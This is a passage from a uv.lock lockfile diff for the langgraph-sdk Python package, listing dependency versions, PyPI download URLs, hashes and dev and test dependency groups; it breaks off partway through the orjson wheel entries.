= "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "idna" +version = "3.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/77/7b3966d0b9d1d31a36ddf1746926a11dface89a83409bf1483f0237aa758/idna-3.15.tar.gz", hash = "sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc", size = 199245, upload-time = "2026-05-12T22:45:57.011Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/23/408243171aa9aaba178d3e2559159c24c1171a641aa83b67bdd3394ead8e/idna-3.15-py3-none-any.whl", hash = "sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8", size = 72340, upload-time = "2026-05-12T22:45:55.733Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "jsonpatch" +version = "1.33" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpointer" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/78/18813351fe5d63acad16aec57f94ec2b70a09e53ca98145589e185423873/jsonpatch-1.33.tar.gz", hash = "sha256:9fcd4009c41e6d12348b4a0ff2563ba56a2923a7dfee731d004e212e1ee5030c", size = 21699, upload-time = "2023-06-26T12:07:29.144Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/73/07/02e16ed01e04a374e644b575638ec7987ae846d25ad97bcc9945a3ee4b0e/jsonpatch-1.33-py2.py3-none-any.whl", hash = "sha256:0ae28c0cd062bbd8b8ecc26d7d164fbbea9652a1a3693f3b956c1eae5145dade", size = 12898, upload-time = "2023-06-16T21:01:28.466Z" }, +] + +[[package]] +name = "jsonpointer" +version = "3.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6a/0a/eebeb1fa92507ea94016a2a790b93c2ae41a7e18778f85471dc54475ed25/jsonpointer-3.0.0.tar.gz", hash = "sha256:2b2d729f2091522d61c3b31f82e11870f60b68f43fbc705cb76bf4b832af59ef", size = 9114, upload-time = "2024-06-10T19:24:42.462Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/92/5e77f98553e9e75130c78900d000368476aed74276eb8ae8796f65f00918/jsonpointer-3.0.0-py2.py3-none-any.whl", hash = "sha256:13e088adc14fca8b6aa8177c044e12701e6ad4b28ff10e65f2267a90109c9942", size = 7595, upload-time = "2024-06-10T19:24:40.698Z" }, +] + +[[package]] +name = "langchain-core" +version = "1.4.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpatch" }, + { name = "langchain-protocol" }, + { name = "langsmith" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "pyyaml" }, + { name = "tenacity" }, + { name = "typing-extensions" }, + { name = "uuid-utils" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/12/e3/bea6d0080acf183332f24dcd74c208aee5857cf8f783c3fb0bd86027d8fb/langchain_core-1.4.8.tar.gz", hash = "sha256:5bf1f8411077c904182ad8f975943d36adcbf579c4e017b3a118b719229ebf9a", size = 957974, upload-time = "2026-06-18T19:39:23.636Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/d6/bdf6f0481cc57ef300d6b1eb48cf1400c0409be715d6eb3cabadd1142a09/langchain_core-1.4.8-py3-none-any.whl", hash = "sha256:d84c28b05e3ba8d4271d0827aad5b592ccdaaf986e76768c23503f0a2045e8aa", size = 557416, upload-time = "2026-06-18T19:39:21.902Z" }, +] + +[[package]] +name = "langchain-protocol" +version = "0.0.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d2/59/b5959aea96faa9146e2e49a7a22882b3528c62efafe9a6a95beab30c2305/langchain_protocol-0.0.18.tar.gz", hash = "sha256:ec3e11782f1ed0c9db38e5a9ed01b0e7a0d3fba406faa8aef6594b73c56a63e6", size = 6150, upload-time = "2026-06-18T17:08:26.959Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/99/2e/d82db9eec13ad0f72e7aaad5c4bc730ab111934fdc83c85523206eb9b0a0/langchain_protocol-0.0.18-py3-none-any.whl", hash = "sha256:70b53a86fbf9cedc863555effe44da192ab02d556ddbf2cf95b8873adcf41b5a", size = 7221, upload-time = "2026-06-18T17:08:25.996Z" }, +] + +[[package]] +name = "langgraph" +version = "1.2.9" +source = { editable = "../langgraph" } +dependencies = [ + { name = "langchain-core" }, + { name = "langgraph-checkpoint" }, + { name = "langgraph-prebuilt" }, + { name = "langgraph-sdk" }, + { name = "pydantic" }, + { name = "xxhash" }, +] + +[package.metadata] +requires-dist = [ + { name = "langchain-core", specifier = ">=1.4.7,<2" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-prebuilt", editable = "../prebuilt" }, + { name = "langgraph-sdk", editable = "." }, + { name = "pydantic", specifier = ">=2.7.4" }, + { name = "xxhash", specifier = ">=3.5.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "httpx" }, + { name = "jupyter" }, + { name = "langchain-core", specifier = ">=1.0.0" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-checkpoint-postgres", editable = "../checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite", editable = "../checkpoint-sqlite" }, + { name = "langgraph-cli", marker = "python_full_version < '3.14'", editable = "../cli" }, + { name = "langgraph-cli", extras = ["inmem"], marker = "python_full_version < '3.14'", editable = "../cli" }, + { name = "langgraph-prebuilt", editable = "../prebuilt" }, + { name = "langgraph-sdk", editable = "." }, + { name = "psycopg", extras = ["binary"] }, + { name = "py-spy" }, + { name = "pycryptodome" }, + { name = "pyperf" }, + { name = "pytest" }, + { name = "pytest-cov" }, + { name = "pytest-dotenv" }, + { name = "pytest-mock" }, + { name = "pytest-repeat" }, + { name = "pytest-watcher" }, + { name = "pytest-xdist", extras = ["psutil"] }, + { name = "redis" }, + { name = "ruff" }, + { name = "syrupy" }, + { name = "ty" }, + { name = "types-requests" }, + { name = "uvloop", specifier = "==0.22.1" }, +] +lint = [ + { name = "ruff" }, + { name = "ty" }, + { name = "types-requests" }, +] +test = [ + { name = "httpx" }, + { name = "langchain-core", specifier = ">=1.0.0" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-checkpoint-postgres", editable = "../checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite", editable = "../checkpoint-sqlite" }, + { name = "langgraph-cli", marker = "python_full_version < '3.14'", editable = "../cli" }, + { name = "langgraph-cli", extras = ["inmem"], marker = "python_full_version < '3.14'", editable = "../cli" }, + { name = "langgraph-prebuilt", editable = "../prebuilt" }, + { name = "langgraph-sdk", editable = "." }, + { name = "psycopg", extras = ["binary"] }, + { name = "py-spy" }, + { name = "pycryptodome" }, + { name = "pyperf" }, + { name = "pytest" }, + { name = "pytest-cov" }, + { name = "pytest-dotenv" }, + { name = "pytest-mock" }, + { name = "pytest-repeat" }, + { name = "pytest-watcher" }, + { name = "pytest-xdist", extras = ["psutil"] }, + { name = "redis" }, + { name = "syrupy" }, + { name = "uvloop", specifier = "==0.22.1" }, +] + +[[package]] +name = "langgraph-checkpoint" +version = "4.1.1" +source = { editable = "../checkpoint" } +dependencies = [ + { name = "langchain-core" }, + { name = "ormsgpack" }, +] + +[package.metadata] +requires-dist = [ + { name = "langchain-core", specifier = ">=0.2.38" }, + { name = "ormsgpack", specifier = ">=1.12.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pycryptodome", specifier = ">=3.23.0" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, +] + +[[package]] +name = "langgraph-prebuilt" +version = "1.1.0" +source = { editable = "../prebuilt" } +dependencies = [ + { name = "langchain-core" }, + { name = "langgraph-checkpoint" }, +] + +[package.metadata] +requires-dist = [ + { name = "langchain-core", specifier = ">=1.3.1" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "langchain-core" }, + { name = "langgraph", editable = "../langgraph" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-checkpoint-postgres", editable = "../checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite", editable = "../checkpoint-sqlite" }, + { name = "psycopg-binary" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "ruff" }, + { name = "syrupy" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "langchain-core" }, + { name = "langgraph", editable = "../langgraph" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-checkpoint-postgres", editable = "../checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite", editable = "../checkpoint-sqlite" }, + { name = "psycopg-binary" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "syrupy" }, +] + +[[package]] +name = "langgraph-sdk" +source = { editable = "." } +dependencies = [ + { name = "httpx" }, + { name = "langchain-core" }, + { name = "langchain-protocol" }, + { name = "orjson" }, + { name = "websockets" }, +] + +[package.dev-dependencies] +dev = [ + { name = "codespell" }, + { name = "langgraph" }, + { name = "pydantic" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watch" }, + { name = "ruff" }, + { name = "starlette" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "starlette" }, + { name = "ty" }, +] +test = [ + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watch" }, +] + +[package.metadata] +requires-dist = [ + { name = "httpx", specifier = ">=0.25.2" }, + { name = "langchain-core", specifier = ">=1.4.0,<2" }, + { name = "langchain-protocol", specifier = ">=0.0.15" }, + { name = "orjson", specifier = ">=3.11.5" }, + { name = "websockets", specifier = ">=14,<17" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "langgraph", editable = "../langgraph" }, + { name = "pydantic", specifier = ">=2.12.4" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watch" }, + { name = "ruff", specifier = "==0.15.20" }, + { name = "starlette" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff", specifier = "==0.15.20" }, + { name = "starlette" }, + { name = "ty" }, +] +test = [ + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watch" }, +] + +[[package]] +name = "langsmith" +version = "0.8.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "httpx" }, + { name = "orjson", marker = "platform_python_implementation != 'PyPy'" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "requests" }, + { name = "requests-toolbelt" }, + { name = "uuid-utils" }, + { name = "websockets" }, + { name = "xxhash" }, + { name = "zstandard" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9a/d9/a6681aa9847bbbc5ec21abe20a5e233b94e5edcfe39624db607ac7e8ccb4/langsmith-0.8.18.tar.gz", hash = "sha256:32dde9c0e67e053e0fb738921fc8ced768af7b8fa83d7a0e3fd63597cf8776dd", size = 4526988, upload-time = "2026-06-19T13:12:17.123Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/70/0e0cc80a3b064c8d6c8d697c3125ed86e39d5a7393ec6dc8b07cb1cf13c4/langsmith-0.8.18-py3-none-any.whl", hash = "sha256:3940183349993faef48e6c7d08e4822ee9cefd906b362d0e3c2d650314d2f282", size = 508108, upload-time = "2026-06-19T13:12:15.348Z" }, +] + +[[package]] +name = "orjson" +version = "3.11.9" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/0c/964746fcafbd16f8ff53219ad9f6b412b34f345c75f384ad434ceaadb538/orjson-3.11.9.tar.gz", hash = "sha256:4fef17e1f8722c11587a6ef18e35902450221da0028e65dbaaa543619e68e48f", size = 5599163, upload-time = "2026-05-06T15:11:08.309Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/5d/b95ca542a001135cc250a49370f282f578c8f4e46cc8617d73775297eea8/orjson-3.11.9-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:135869ef917b8704ea0a94e01620e0c05021c15c52036e4663baffe75e72f8ce", size = 228986, upload-time = "2026-05-06T15:09:14.765Z" }, + { url = "https://files.pythonhosted.org/packages/80/01/be33fbff646e22f93398429ea645f20d2097aea1a6cdc1e6628e70125f83/orjson-3.11.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:115ab5f5f4a0f203cc2a5f0fb09aee503a3f771aa08392949ab5ca230c4fbdbd", size = 132558, upload-time = "2026-05-06T15:09:17.431Z" }, + { url = "https://files.pythonhosted.org/packages/4e/61/73d49333bba660a075daccca10970dc6409ce1cf42ae4046646a19468aad/orjson-3.11.9-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4da3c38a2083ca4aaf9c2a36776cce3e9328e6647b10d118948f3cfb4913ffe4", size = 128213, upload-time = "2026-05-06T15:09:18.719Z" }, + { url = "https://files.pythonhosted.org/packages/1f/7d/30e844b3dac3f74aed66b1f984daf9db3c98c0328c03d965a9e8dc06449e/orjson-3.11.9-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53b50b0e14084b8f7e29c5ce84c5af0f1160169b30d8a6914231d97d2fe297d4", size = 135430, upload-time = "2026-05-06T15:09:20.257Z" }, + { url = "https://files.pythonhosted.org/packages/16/64/bd815f5c610b3facc204f26ba94e87a9eb49b0d83de3d5fc1eee2402d91b/orjson-3.11.9-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:231742b4a11dad8d5380a435962c57e91b7c37b79be858f4ef1c0df1a259897e", size = 146178, upload-time = "2026-05-06T15:09:21.616Z" }, + { url = "https://files.pythonhosted.org/packages/c7/35/e744fd36c79b339d27beb06068b5a08a8882ef5418804d0ce545a31f718d/orjson-3.11.9-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:34fd2317602587321faab75ab76c623a0117e80841a6413654f04e47f339a8fb", size = 133068, upload-time = "2026-05-06T15:09:23.228Z" }, + { url = "https://files.pythonhosted.org/packages/2a/56/d54152b67b63a0b3e556cfc549d6ce84f74d7f425ddeadc6c8a74d913da7/orjson-3.11.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:71f3db16e69b667b132e0f305a833d5497da302d801508cbb051ed9a9819da47", size = 134217, upload-time = "2026-05-06T15:09:24.847Z" }, + { url = "https://files.pythonhosted.org/packages/0b/ee/66154baf69f71c7164a268a5e888908aec5a0819d13c81d5e2755a257758/orjson-3.11.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0b34789fa0da61cf7bef0546b09c738fb195331e017e477096d129e9105ab03d", size = 141917, upload-time = "2026-05-06T15:09:26.647Z" }, + { url = "https://files.pythonhosted.org/packages/09/d3/c5824260ca8b9d7ba82648d042a3f8f4815d18c15bb98a1f30edd1bb2d83/orjson-3.11.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:87e4d4ab280b0c87424d47695bec2182caf8cfc17879ea78dab76680194abc13", size = 415356, upload-time = "2026-05-06T15:09:28.252Z" }, + { url = "https://files.pythonhosted.org/packages/64/cb/509c2e816fe4df641d93dc92f6a89adc8df3ada8ebdee2bd44aba3264c3c/orjson-3.11.9-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ace6c58523302d3b97b6ac5c38a5298a54b473762b6be82726b4265c41029f92", size = 148112, upload-time = "2026-05-06T15:09:29.783Z" }, + { url = "https://files.pythonhosted.org/packages/db/b5/3ceae56d2e4962979eedb023ba6a46a4bb65f333960379be0ca470686220/orjson-3.11.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:97d0d932803c1b164fde11cb542a9efcb1e0f63b184537cca65887147906ff48", size = 137112, upload-time = "2026-05-06T15:09:31.432Z" }, + { url = "https://files.pythonhosted.org/packages/d7/7a/81fa3f2c7bef79b04cf2ab7838e5ac74b1f12511ceab979759b0275d6bb4/orjson-3.11.9-cp310-cp310-win32.whl", hash = "sha256:b3afcf569c15577a9fe64627292daa3e6b3a70f4fb77a5df246a87ec21681b94", size = 131706, upload-time = "2026-05-06T15:09:32.707Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d8/b64600f9083c7f151ad39717a5877fccbeb0ef6d7efcb55f971ce00b6bee/orjson-3.11.9-cp310-cp310-win_amd64.whl", hash = "sha256:8697ab6a080a5c46edaad50e2bc5bd8c7ca5c66442d24104fa44ec74910a8244", size = 127282, upload-time = "2026-05-06T15:09:33.955Z" }, + { url = "https://files.pythonhosted.org/packages/1e/51/3fb9e65ae76ee97bd611869a503fa3fc0a6e81dd8b737cf3003f682df7ff/orjson-3.11.9-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:f01c4818b3fc9b0da8e096722a84318071eaa118df35f6ed2344da0e73a5444f", size = 228522, upload-time = "2026-05-06T15:09:35.362Z" }, + { url = "https://files.pythonhosted.org/packages/16/fa/9d54b07cb3f3b0bfd57841478e42d7a0ece4a9f49f9907eecf5a45461687/orjson-3.11.9-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:3ebca4179031ee716ed076ffadc29428e900512f6fccee8614c9983157fcf19c", size = 128463, upload-time = "2026-05-06T15:09:37.063Z" }, + { url = "https://files.pythonhosted.org/packages/88/b1/6ceafc2eefd0a553e3be77ce6c49d107e772485d9568629376171c50e634/orjson-3.11.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48ee05097750de0ff69ed5b7bbcf0732182fd57a24043dcc2a1da780a5ead3a5", size = 132306, upload-time = "2026-05-06T15:09:38.299Z" }, + { url = "https://files.pythonhosted.org/packages/ea/76/f11311285324a40aab1e3031385c50b635a7cd0734fdaf60c7e89a696f60/orjson-3.11.9-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6082706765a95a6680d812e1daf1c0cfe8adec7831b3ff3b625693f3b461b1c", size = 127988, upload-time = "2026-05-06T15:09:39.597Z" }, + { url = "https://files.pythonhosted.org/packages/9e/85/0ef63bcf1337f44031ce9b91b1919563f62a37527b3ea4368bb15a22e5d7/orjson-3.11.9-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:277fefe9d76ee17eb14debf399e3533d4d63b5f677a4d3719eb763536af1f4bd", size = 135188, upload-time = "2026-05-06T15:09:40.957Z" }, + { url = "https://files.pythonhosted.org/packages/05/94/b0d27090ea8a2095db3c2bd1b1c96f96f19bbb494d7fef33130e846e613d/orjson-3.11.9-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03db380e3780fa0015ed776a90f20e8e20bb11dde13b216ce19e5718e3dfba62", size = 145937, upload-time = "2026-05-06T15:09:42.249Z" }, + { url = "https://files.pythonhosted.org/packages/09/eb/75d50c29c05b8054013e221e598820a365c8e64065312e75e202ed880709/orjson-3.11.9-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33d7d766701847dc6729846362dc27895d2f2d2251264f9d10e7cb9878194877", size = 132758, upload-time = "2026-05-06T15:09:43.945Z" }, + { url = "https://files.pythonhosted.org/packages/49/bd/360686f39348aa88827cb6fbf7dc606fd41c831a35235e1abf1db8e3a9e6/orjson-3.11.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:147302878da387104b66bb4a8b0227d1d487e976ce41a8501916161072ed87b1", size = 133971, upload-time = "2026-05-06T15:09:45.239Z" }, + { url = "https://files.pythonhosted.org/packages/0e/30/3178eb16f3221aeef068b6f1f1ebe05f656ea5c6dffe9f6c917329fe17a3/orjson-3.11.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3513550321f8c8c811a7c3297b8a630e82dc08e4c10216d07703c997776236cd", size = 141685, upload-time = "2026-05-06T15:09:46.858Z" }, + { url = "https://files.pythonhosted.org/packages/5f/f1/ff2f19ed0225f9680fafa42febca3570dd59444ebf190980738d376214c2/orjson-3.11.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c5d001196b89fa9cf0a4ab79766cd835b991a166e4b621ba95089edc50c429ff", size = 415167, upload-time = "2026-05-06T15:09:48.312Z" }, + { url = "https://files.pythonhosted.org/packages/9b/61/863bddf0da6e9e586765414debd54b4e58db05f560902b6d00658cb88636/orjson-3.11.9-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:16969c9d369c98eb084889c6e4d2d39b77c7eb38ceccf8da2a9fff62ae908980", size = 147913, upload-time = "2026-05-06T15:09:49.733Z" }, + { url = "https://files.pythonhosted.org/packages/b6/8a/4081492586d75b073d60c5271a8d0f05a0955cabf1e34c8473f6fcd84235/orjson-3.11.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:63e0efbc991250c0b3143488fa57d95affcabbfc63c99c48d625dd37779aafe2", size = 136959, upload-time = "2026-05-06T15:09:51.311Z" }, + { url = "https://files.pythonhosted.org/packages/0d/bd/70b6ab193594d7abb875320c0a7c8335e846f28968c432c31042409c3c8d/orjson-3.11.9-cp311-cp311-win32.whl", hash = "sha256:14ed654580c1ed2bc217352ec82f91b047aef82951aa71c7f64e0dcb03c0e180", size = 131533, upload-time = "2026-05-06T15:09:52.637Z" }, + { url = "https://files.pythonhosted.org/packages/3f/17/1a1a228183d62d1b77e2c30d210f47dd4768b310ebe1607c63e3c0e3a71e/orjson-3.11.9-cp311-cp311-win_amd64.whl", hash = "sha256:57ea77fb70a448ce87d18fca050193202a3da5e54598f6501ca5476fb66cfe02", size = 127106, upload-time = "2026-05-06T15:09:54.204Z" }, + { url = "https://files.pythonhosted.org/packages/b8/95/285de5fa296d09681ee9c546cd4a8aeb773b701cf343dc125994f4d52953/orjson-3.11.9-cp311-cp311-win_arm64.whl", hash = "sha256:19b72ed11572a2ee51a67a903afbe5af504f84ed6f529c0fe44b0ab3fb5cc697", size = 126848, upload-time = "2026-05-06T15:09:55.551Z" }, + { url = "https://files.pythonhosted.org/packages/16/6d/11867a3ffa3a3608d84a4de51ef4dd0896d6b5cc9132fbe1daf593e677bc/orjson-3.11.9-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9ef6fe90aadef185c7b128859f40beb24720b4ecea95379fc9000931179c3a49", size = 228515, upload-time = "2026-05-06T15:09:57.265Z" }, + { url = "https://files.pythonhosted.org/packages/24/75/05912954c8b288f34fcf5cd4b9b071cb4f6e77b9961e175e56ebb258089f/orjson-3.11.9-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:e5c9b8f28e726e97d97696c826bc7bea5d71cecd63576dba92924a32c1961291", size = 128409, upload-time = "2026-05-06T15:09:59.063Z" }, + { url = "https://files.pythonhosted.org/packages/ab/86/1c3a47df3bc8191ea9ac51603bbb872a95167a364320c269f2557911f406/orjson-3.11.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26a473dbb4162108b27901492546f83c76fdcea3d0eadff00ae7a07e18dcce09", size = 132106, upload-time = "2026-05-06T15:10:00.798Z" }, + { url = "https://files.pythonhosted.org/packages/d7/cf/b33b5f3e695ae7d63feef9d915c37cc3b8f465493dcd4f8e0b4c697a2366/orjson-3.11.9-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:011382e2a60fda9d46f1cdee31068cfc52ffe952b587d683ec0463002802a0f4", size = 127864, upload-time = "2026-05-06T15:10:02.15Z" }, + { url = "https://files.pythonhosted.org/packages/31/6a/6cf69385a58208024fcb8c014e2141b8ce838aba6492b589f8acfff97fab/orjson-3.11.9-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2d3dc759490128c5c1711a53eeaa8ee1d437fd0038ffd2b6008abf46db3f882", size = 135213, upload-time = "2026-05-06T15:10:03.515Z" }, + { url = "https://files.pythonhosted.org/packages/e8/f8/0b1bd3e8f2efcdd376af5c8cfd79eaf13f018080c0089c80ebd724e3c7fb/orjson-3.11.9-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d8ea516b3726d190e1b4297e6f4e7a8650347ae053868a18163b4dd3641d1fff", size = 145994, upload-time = "2026-05-06T15:10:05.083Z" }, + { url = "https://files.pythonhosted.org/packages/f3/59/dab79f61044c529d2c81aecdc589b1f833a1c8dec11ba3b1c2498a02ca7e/orjson-3.11.9-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:380cdce7ba24989af81d0a7013d0aaec5d0e2a21734c0e2681b1bc4f141957fe", size = 132744, upload-time = "2026-05-06T15:10:06.853Z" }, + { url = "https://files.pythonhosted.org/packages/0e/a4/82b7a2fe5d8a67a59ed831b24d59a3d46ea7d207b66e1602d376541d94a6/orjson-3.11.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be4fa4f0af7fa18951f7ab3fc2148e223af211bf03f59e1c6034ec3f97f21d61", size = 134014, upload-time = "2026-05-06T15:10:08.213Z" }, + { url = "https://files.pythonhosted.org/packages/50/c7/375e83a76851b73b2e39f3bcf0e5a19e2b89bad13e5bca97d0b293d27f24/orjson-3.11.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a8f5f8bc7ce7d59f08d9f99fa510c06496164a24cb5f3d34537dbd9ca30132e2", size = 141509, upload-time = "2026-05-06T15:10:09.595Z" }, + { url = "https://files.pythonhosted.org/packages/7f/7c/49d5d82a3d3097f641f094f552131f1e2723b0b8cb0fa2874ab65ecfffa6/orjson-3.11.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:4d7fde5501b944f83b3e665e1b31343ff6e154b15560a16b7130ea1e594a4206", size = 415127, upload-time = "2026-05-06T15:10:11.049Z" }, + { url = "https://files.pythonhosted.org/packages/3a/dc/7446c538590d55f455647e5f3c61fc33f7108714e7afcffa6a2a033f8350/orjson-3.11.9-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cde1a448023ba7d5bb4c01c5afb48894380b5e4956e0627266526587ef4e535f", size = 148025, upload-time = "2026-05-06T15:10:12.842Z" }, + { url = 